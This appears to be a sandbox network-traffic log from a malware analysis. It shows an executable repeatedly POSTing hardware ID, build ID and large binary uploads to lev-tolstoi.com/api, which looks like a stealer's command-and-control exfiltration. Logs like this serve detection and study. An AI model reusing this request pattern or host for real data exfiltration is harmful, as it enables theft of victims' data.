EoywBNznwr7YY0EwrRD1MigBBmEvT67r3BLioF0IFYEfhb8V2uGNsNYsByjMAvMyE14GIT9FtYuMS7z1VFdB5gfC5lGEtpCwwCxGa4ZCu3EBTAFHUTDg2d4K/LBEVnaQMLyAFsn4jPeOfUEm1F/9Ki4PDjlQWa7Gn0SskkgXVqEHk/MkxPGD5oh7Die6ZpwyWQ9AOTdFoJ7bDaz/G0sD80LV7lHVuJuwjixZOtoQrzJPDwF6fQXo3ckfq5l1Pla

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	104.21.66.86	443	3552	C:\Users\user\Desktop\20yLTIU4mS.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:15:44 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=NWBLAAIJSO User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12787 Host: lev-tolstoi.com
2024-12-23 06:15:44 UTC	12787	OUT	Data Raw: 2d 2d 4e 57 42 4c 41 41 49 4a 53 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 39 30 45 42 46 41 30 45 39 39 43 41 36 37 42 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4e 57 42 4c 41 41 49 4a 53 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4e 57 42 4c 41 41 49 4a 53 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 4e 57 42 4c 41 41 49 4a 53 4f 0d 0a 43 6f 6e 74 65 6e 74 2d Data Ascii: --NWBLAAIJSOContent-Disposition: form-data; name="hwid"990EBFA0E99CA67BAC8923850305D13E--NWBLAAIJSOContent-Disposition: form-data; name="pid"2--NWBLAAIJSOContent-Disposition: form-data; name="lid"PsFKDg--pablo--NWBLAAIJSOContent-
2024-12-23 06:15:45 UTC	1131	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:15:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=csnm0hdnf2gsaqbns30ju9ioaf; expires=Fri, 18 Apr 2025 00:02:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DkyakAlRuKJSnI9mTftWUsfm2vEhKPtRZwlZq98kYxiLe%2FNNecebLZpNgNS6aLI%2BFnr1FOoyHROfNKm3PxtE7TBYNIB5wGGABl2%2Bl8b9QASQqW1X%2FtSCEDcOSc%2FdbmQfwas%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6638078f215e6a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1630&min_rtt=1630&rtt_var=612&sent=10&recv=17&lost=0&retrans=0&sent_bytes=2836&recv_bytes=13718&delivery_rate=1785932&cwnd=224&unsent_bytes=0&cid=3bd29167aa0a38ea&ts=884&x=0"
2024-12-23 06:15:45 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 06:15:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	104.21.66.86	443	3552	C:\Users\user\Desktop\20yLTIU4mS.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:15:46 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=RAPBR86S5DK User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15035 Host: lev-tolstoi.com
2024-12-23 06:15:46 UTC	15035	OUT	Data Raw: 2d 2d 52 41 50 42 52 38 36 53 35 44 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 39 30 45 42 46 41 30 45 39 39 43 41 36 37 42 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 52 41 50 42 52 38 36 53 35 44 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 52 41 50 42 52 38 36 53 35 44 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 52 41 50 42 52 38 36 53 35 44 4b 0d 0a 43 6f 6e 74 Data Ascii: --RAPBR86S5DKContent-Disposition: form-data; name="hwid"990EBFA0E99CA67BAC8923850305D13E--RAPBR86S5DKContent-Disposition: form-data; name="pid"2--RAPBR86S5DKContent-Disposition: form-data; name="lid"PsFKDg--pablo--RAPBR86S5DKCont
2024-12-23 06:15:47 UTC	1130	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:15:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=98dvhij7iqtiqgs3sb41rlu2m5; expires=Fri, 18 Apr 2025 00:02:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kferSd9mnsG6TsjQq%2F7bfXfYk%2FNUqZq0pWV8rKHq3zsrxeLiivJTRZtZuM3o6kxARoBLzxR2kOV4otOalA9nPH8jASl%2BIy%2F76UU2bIzpc1i2DuBZK7iYeXX%2BuMLoZ9Ez0mw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66381528b541e9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2033&min_rtt=2003&rtt_var=811&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2834&recv_bytes=15967&delivery_rate=1301827&cwnd=249&unsent_bytes=0&cid=d13d1fa56c0e17d9&ts=865&x=0"
2024-12-23 06:15:47 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 06:15:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49711	104.21.66.86	443	3552	C:\Users\user\Desktop\20yLTIU4mS.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:15:48 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=KWITJQ0XB4J4ERH User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20549 Host: lev-tolstoi.com
2024-12-23 06:15:48 UTC	15331	OUT	Data Raw: 2d 2d 4b 57 49 54 4a 51 30 58 42 34 4a 34 45 52 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 39 30 45 42 46 41 30 45 39 39 43 41 36 37 42 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4b 57 49 54 4a 51 30 58 42 34 4a 34 45 52 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4b 57 49 54 4a 51 30 58 42 34 4a 34 45 52 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 4b 57 49 54 4a Data Ascii: --KWITJQ0XB4J4ERHContent-Disposition: form-data; name="hwid"990EBFA0E99CA67BAC8923850305D13E--KWITJQ0XB4J4ERHContent-Disposition: form-data; name="pid"3--KWITJQ0XB4J4ERHContent-Disposition: form-data; name="lid"PsFKDg--pablo--KWITJ
2024-12-23 06:15:48 UTC	5218	OUT	Data Raw: b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 00 00 00 00 Data Ascii: h'F3Wun 4F([:7s~X`nO`i
2024-12-23 06:15:49 UTC	1127	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:15:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0u59ng4i2obvccj6ict32gadi6; expires=Fri, 18 Apr 2025 00:02:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PWVJ3Ubq6Uyp%2B9wW%2Biom45DX9O0tKozw5jEpgqFSJipg393oobhlCkeIVTalSv9VH%2BdHkyAMPw1fqoiqq9nnkwy82cHqQelsWpwsUniqijAbKWUuezJAeQC0ikZeF7rYtqs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f663823acd0436c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1572&min_rtt=1569&rtt_var=596&sent=14&recv=25&lost=0&retrans=0&sent_bytes=2834&recv_bytes=21507&delivery_rate=1826141&cwnd=228&unsent_bytes=0&cid=5bcf415815f96dd9&ts=957&x=0"
2024-12-23 06:15:49 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 06:15:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49714	104.21.66.86	443	3552	C:\Users\user\Desktop\20yLTIU4mS.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:15:51 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=K4KZ2OOP7EEDO4E0F5P User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1260 Host: lev-tolstoi.com
2024-12-23 06:15:51 UTC	1260	OUT	Data Raw: 2d 2d 4b 34 4b 5a 32 4f 4f 50 37 45 45 44 4f 34 45 30 46 35 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 39 30 45 42 46 41 30 45 39 39 43 41 36 37 42 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4b 34 4b 5a 32 4f 4f 50 37 45 45 44 4f 34 45 30 46 35 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4b 34 4b 5a 32 4f 4f 50 37 45 45 44 4f 34 45 30 46 35 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 Data Ascii: --K4KZ2OOP7EEDO4E0F5PContent-Disposition: form-data; name="hwid"990EBFA0E99CA67BAC8923850305D13E--K4KZ2OOP7EEDO4E0F5PContent-Disposition: form-data; name="pid"1--K4KZ2OOP7EEDO4E0F5PContent-Disposition: form-data; name="lid"PsFKDg--pa
2024-12-23 06:15:52 UTC	1129	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:15:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gk12g3bd52vp4eij6q2rfqkrdl; expires=Fri, 18 Apr 2025 00:02:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RFhpMCWmcTkVx1%2Fy78w75ZbX7DTBRnnoMb5TjuYeUNkvcg5cXfjrr3UXZi7eSj6jwyCGQ4XhdYH71xFgubqdtyGtHdV%2Fh2js%2BKStKKgDREyLOiQhwp%2BhIwMZ9%2B88UMLJwOM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6638362fcb424a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1668&min_rtt=1645&rtt_var=633&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=2177&delivery_rate=1775075&cwnd=252&unsent_bytes=0&cid=1d32876986a192ba&ts=1079&x=0"
2024-12-23 06:15:52 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 06:15:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49727	104.21.66.86	443	3552	C:\Users\user\Desktop\20yLTIU4mS.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:15:54 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=RMQGZKRUP0I894JTU5I User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 569234 Host: lev-tolstoi.com
2024-12-23 06:15:54 UTC	15331	OUT	Data Raw: 2d 2d 52 4d 51 47 5a 4b 52 55 50 30 49 38 39 34 4a 54 55 35 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 39 30 45 42 46 41 30 45 39 39 43 41 36 37 42 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 52 4d 51 47 5a 4b 52 55 50 30 49 38 39 34 4a 54 55 35 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 52 4d 51 47 5a 4b 52 55 50 30 49 38 39 34 4a 54 55 35 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 Data Ascii: --RMQGZKRUP0I894JTU5IContent-Disposition: form-data; name="hwid"990EBFA0E99CA67BAC8923850305D13E--RMQGZKRUP0I894JTU5IContent-Disposition: form-data; name="pid"1--RMQGZKRUP0I894JTU5IContent-Disposition: form-data; name="lid"PsFKDg--pa
2024-12-23 06:15:54 UTC	15331	OUT	Data Raw: 0c 5d 29 00 44 6b 17 ee e5 03 ca d4 f2 31 8d f2 a2 79 87 2f 48 cc be 5e eb df ef 80 01 2a f3 b5 bd 05 4b f5 0a 8c 91 72 96 d2 e0 48 58 4a 39 80 00 62 27 88 b1 87 52 24 80 d2 04 94 d5 08 67 9e 70 65 b8 0a 83 76 55 2c cc c7 c1 b2 6d d1 e1 99 62 eb fb 38 1e 3b c0 63 df 79 5b 34 08 af e8 e8 ee c6 f6 99 f2 5b fd ff 0f a2 53 0f 00 5a 71 07 98 e3 03 09 a6 94 7c 16 60 f6 f1 c1 fc 54 a5 4b 99 11 91 65 96 8b bd 99 e5 fc 10 f7 1f a2 f1 63 73 06 97 68 64 df 69 03 31 0e c9 20 de c2 21 35 d3 c9 83 0f 34 2b ae 06 9a a2 e3 76 3c 73 2a 83 14 d4 60 ca 0e 5e 89 26 d5 7f eb 43 7a 44 e2 27 04 b7 76 cb d0 9c 39 50 ec 48 4d f2 f3 e5 49 35 ee 94 56 12 a5 da 42 9e 3c 04 cb f5 96 00 1b 37 ee 74 49 29 a6 e8 1c 66 de 24 63 bb 39 c0 55 91 d5 e0 2c ca 21 ac 29 d6 f6 9a 9b 8e af 3b 2a Data Ascii: ])Dk1y/H^KrHXJ9b'R$gpevU,mb8;cy[4[SZq\|`TKecshdi1 !54+v<s`^&CzD'v9PHMI5VB<7tI)f$c9U,!);*
2024-12-23 06:15:54 UTC	15331	OUT	Data Raw: c9 1e fe 77 47 f7 88 51 91 0e da f4 f6 9f 63 7f e5 8e ad 17 b5 9b 00 63 75 fe 4b 68 72 ef 14 28 26 a4 dc 65 92 45 6d 26 b6 63 7a 5c 1a c3 03 4e 65 44 3c 10 d5 1b ae 75 8d e4 29 61 60 b5 4d ea b4 a5 9a 88 a3 2a ff db a4 1a ab 2f 96 cf 42 68 db d0 bc d8 d4 9a 9b 2f 34 fd fb 48 a0 3a 12 54 19 35 ba 7e c4 65 d0 d5 d8 4c 24 37 95 11 7e 69 9e bc e4 62 01 07 9d 26 e3 7d 12 17 ad 55 aa 13 77 32 42 89 a6 cf 2c e2 8e a0 09 28 76 5a f1 ca 57 85 f5 3a 49 77 15 86 e1 a4 52 63 f0 34 aa b1 bc 02 f1 bc c9 f9 26 5e 02 7b d4 8a 13 6b f4 77 10 58 b4 cf 66 04 2f be fc 72 ac f4 b7 7b 61 9d e5 d9 2b 3c 5a e6 9f 39 d9 0c 0d 3e 8c 24 e7 4c 02 6f 4f 5a 7b bb 22 42 e7 fc 16 fa fb c3 66 e6 ce c6 66 cd bf d7 42 c2 bb 69 b9 ee e5 64 14 a1 ed 69 ed f7 cd 56 59 e4 7f ea bc 45 b0 08 fd Data Ascii: wGQccuKhr(&eEm&cz\NeD<u)a`M*/Bh/4H:T5~eL$7~ib&}Uw2B,(vZW:IwRc4&^{kwXf/r{a+<Z9>$LoOZ{"BffBidiVYE
2024-12-23 06:15:54 UTC	15331	OUT	Data Raw: b2 83 88 39 e6 96 30 7c e7 66 e9 09 42 b0 e2 60 58 6c af 48 81 f6 88 34 98 b8 6b 1a 9e 9d 9a f2 12 3b 33 38 5e 3a a8 2f 1f 13 ee 68 73 a8 42 ef 1a a6 1c 68 d7 b4 1f 8e 94 58 77 9a f2 62 68 c1 0a d5 9b 8c 51 14 cf 4d f4 08 59 12 2c 3b a9 a3 1a 74 bd 80 d0 05 11 b7 e8 ba a5 a7 2a a9 df dd 86 58 36 53 f9 8b 29 7f eb 33 a4 da 74 df c8 83 c1 4b 23 85 e4 f3 cb 82 c5 86 8c e1 6f 65 07 09 b5 ed 77 be 0f 23 1d f2 57 40 7d d8 55 8f 5f 43 0a 9f 86 33 ab 81 76 b8 7a f6 2e 34 ad d5 ba 64 9e b3 e9 f4 51 92 06 70 6c 57 49 89 c7 a4 c7 a3 72 47 f1 8d df ea 6a de 3b 72 9c 1e 75 1e 6b 2a 7d 20 54 18 32 e2 9b 29 71 25 96 6a 4b 87 df ba 34 5e ae 40 f6 39 6a 3a aa 93 ea de f1 8d 42 bb 2a ec 91 fc 65 de ab a3 65 93 f1 83 e4 66 1b 35 ca a9 76 7a 83 49 3f 24 e2 43 d1 62 1b 0f 6d Data Ascii: 90\|fB`XlH4k;38^:/hsBhXwbhQMY,;tX6S)3tK#oew#W@}U_C3vz.4dQplWIrGj;ruk} T2)q%jK4^@9j:B*eef5vzI?$Cbm
2024-12-23 06:15:54 UTC	15331	OUT	Data Raw: 5b 85 3b 68 79 43 d4 4e ce b8 00 6e 76 ae 54 ab a4 6d 13 a5 9f 80 d6 52 a9 bb c1 56 8a c2 a6 47 c9 a0 26 c3 7e c5 cb 93 f9 b6 ef 0c 93 8c c7 db 71 a2 53 f1 aa 51 3b fa c4 07 b5 d7 db 65 88 f6 5c 93 a3 14 f6 71 5b 4f 6a 5f 4b e0 24 cd e7 cb 31 bc ef ca ae 2e 15 10 74 44 39 ad e3 49 83 59 39 ca 47 19 0d 61 15 c8 83 b0 c2 15 00 2d 61 0f b1 44 c1 0f de b6 1f c2 2d c4 60 37 ec ba 34 07 59 63 21 82 1e 89 0c 82 ae bb ab 34 f2 41 16 c0 5e 85 72 e8 f7 db 52 96 e3 94 87 67 15 1f cc a2 94 5d 86 d9 79 d0 ca 5e 21 e6 2e 4f 60 8a bd 36 82 65 ce f5 df dd bd d7 b3 33 57 bc f2 ea 6e 4c ba 5b 1d 73 3c 47 74 ca 39 21 5e 2c d8 01 2f 23 db f7 2d 09 3e be 19 bb a3 59 72 d1 49 8f 20 81 b9 10 eb d8 b7 ca 08 f4 d7 e9 9a b7 a9 b0 72 c8 ee 04 cd 8a a3 df 7f 08 27 e8 40 ba a6 2e ff Data Ascii: [;hyCNnvTmRVG&~qSQ;e\q[Oj_K$1.tD9IY9Ga-aD-`74Yc!4A^rRg]y^!.O`6e3WnL[s<Gt9!^,/#->YrI r'@.
2024-12-23 06:15:54 UTC	15331	OUT	Data Raw: f0 0d 1a cd 3f 25 6c b8 1b 8e b4 20 36 9e bb a5 8a 61 99 f0 d9 7d ab 65 74 04 e1 0a 25 b1 08 04 e0 f2 43 00 f4 6f 84 bb 87 5d 47 f9 f7 4e 30 9b 27 2a cb 9e 26 a0 d0 af 37 9e 22 3e 83 03 3c 23 40 93 c1 2c 83 d9 43 73 8f 1d 22 c3 6c 20 da f3 f2 04 96 e8 4f b8 09 16 23 1e ed 3d 0a 58 ee 36 a1 23 82 20 50 6f fd be 8c a7 7c b1 0e 01 12 80 77 c1 16 08 eb c5 10 73 47 8a a5 85 5b e9 39 0f c2 9f ae fb 85 0d 0a fa 1e 5e b6 9d af ec d9 e5 26 f1 37 eb 89 d7 d9 b1 56 74 ab 19 fe fe 7b cb 3e e0 1d c5 3f 91 a3 56 e8 24 02 dc 94 ec 06 c1 06 39 2a 40 4e 9c 7d 56 91 f1 45 fc 0b e4 1d a5 51 50 26 05 4d 77 2e c9 c6 32 7a 4a 70 b2 b9 67 10 c3 63 a2 d4 be fd dd 3b c1 e4 88 12 8e 71 5a 42 e2 4f 69 f2 3b 51 ea 09 22 71 f9 a7 54 b7 08 10 96 8e be f5 15 92 bb 5e e0 46 40 1b fc 9d Data Ascii: ?%l 6a}et%Co]GN0'&7"><#@,Cs"l O#=X6# Po\|wsG[9^&7Vt{>?V$9@N}VEQP&Mw.2zJpgc;qZBOi;Q"qT^F@
2024-12-23 06:15:54 UTC	15331	OUT	Data Raw: 7f 0e b7 97 5e af b8 1b de 4c 76 5d 78 39 65 ff fa f0 17 ec cf e2 a5 2b cf 05 19 6c ce fb 9c f2 6b 54 11 01 e1 fd cc b5 97 84 e8 9e b3 89 52 ae 73 6f 9d f6 b5 87 17 ef b4 a6 af de 6c 3b 84 b9 ec 88 74 71 97 13 31 2f 56 5e 97 e0 e3 18 b5 b7 f0 b6 a9 66 9d cf cf 36 be 58 59 ba 56 5c 75 df 45 27 b2 ea ea be aa d5 6e c7 ef bb 49 2c 9a d3 38 2c 78 1f aa 79 12 f0 5a e7 f9 5b 1f 56 0f 95 e9 28 55 6a f7 a5 85 f2 e3 ee 16 59 8a ea 7f 48 9f 07 fd fb dd 2d 99 61 3f 5f 59 47 ae 3a 3d ef 1c ce 91 88 5c 7d 71 db 4b 10 26 b4 ee cc 9c 3c fd c5 c1 b4 ff 7b e9 68 aa bd e4 27 b3 ef 07 33 b2 87 e3 98 b3 57 22 4d 19 31 b2 1b 5f 85 5a 8e 2f 44 37 14 ad 35 bc 5d 6f 58 bf 37 71 c2 e9 9d 70 c8 53 1b 98 6f b9 3b 06 15 a5 aa 21 59 cd c4 6d 5c 8d 2b c4 4b 3c 03 29 a1 8e d0 c2 9e 82 Data Ascii: ^Lv]x9e+lkTRsol;tq1/V^f6XYV\uE'nI,8,xyZ[V(UjYH-a?_YG:=\}qK&<{h'3W"M1_Z/D75]oX7qpSo;!Ym\+K<)
2024-12-23 06:15:54 UTC	15331	OUT	Data Raw: c5 b6 88 7f 0c 97 00 fb f5 de a3 8d ca 93 f0 c1 26 8c 06 74 ea 8d bb 00 ec ea 25 5c 41 23 82 3c 2c b7 d0 5c 13 46 57 78 a9 e1 e8 1a 53 75 d0 d1 b3 51 5d f0 d9 67 79 c2 11 8e 18 fa 7c b6 48 e3 1d 38 56 d6 64 6d b4 ba 43 55 9e 8c ed e0 87 9c 38 d0 d4 58 ba 8b 33 b0 6a b3 9c 2e 0c 24 86 60 bf 1d 94 f6 e2 fc c2 a6 27 e0 92 b7 61 6b 03 4c cd a3 b8 22 ba 4d 01 4d 96 95 20 88 2d 4f eb 0b e6 3b 37 95 1b 8b af 45 cc cf f1 98 33 22 92 b7 70 c0 4c cc 2c b3 bb 86 2a fe a8 ee dc 9c 87 67 03 d6 14 37 ae 08 e5 69 a0 c7 63 52 f8 66 2b 8e 28 ca 5f 70 89 d8 38 a7 4c 14 f8 31 70 1a db 56 6f ed 05 3b 72 f7 46 92 b5 4d be fc b8 a2 a0 b1 f8 dc 13 4a be 45 98 04 18 b4 d2 fa e0 18 a8 c6 d7 1e 86 b1 1a 76 50 20 07 33 07 fa cb 62 8d 53 b8 e7 98 19 57 d9 77 4d 09 29 98 a0 18 3a 13 Data Ascii: &t%\A#<,\FWxSuQ]gy\|H8VdmCU8X3j.$`'akL"MM -O;7E3"pL,*g7icRf+(_p8L1pVo;rFMJEvP 3bSWwM):
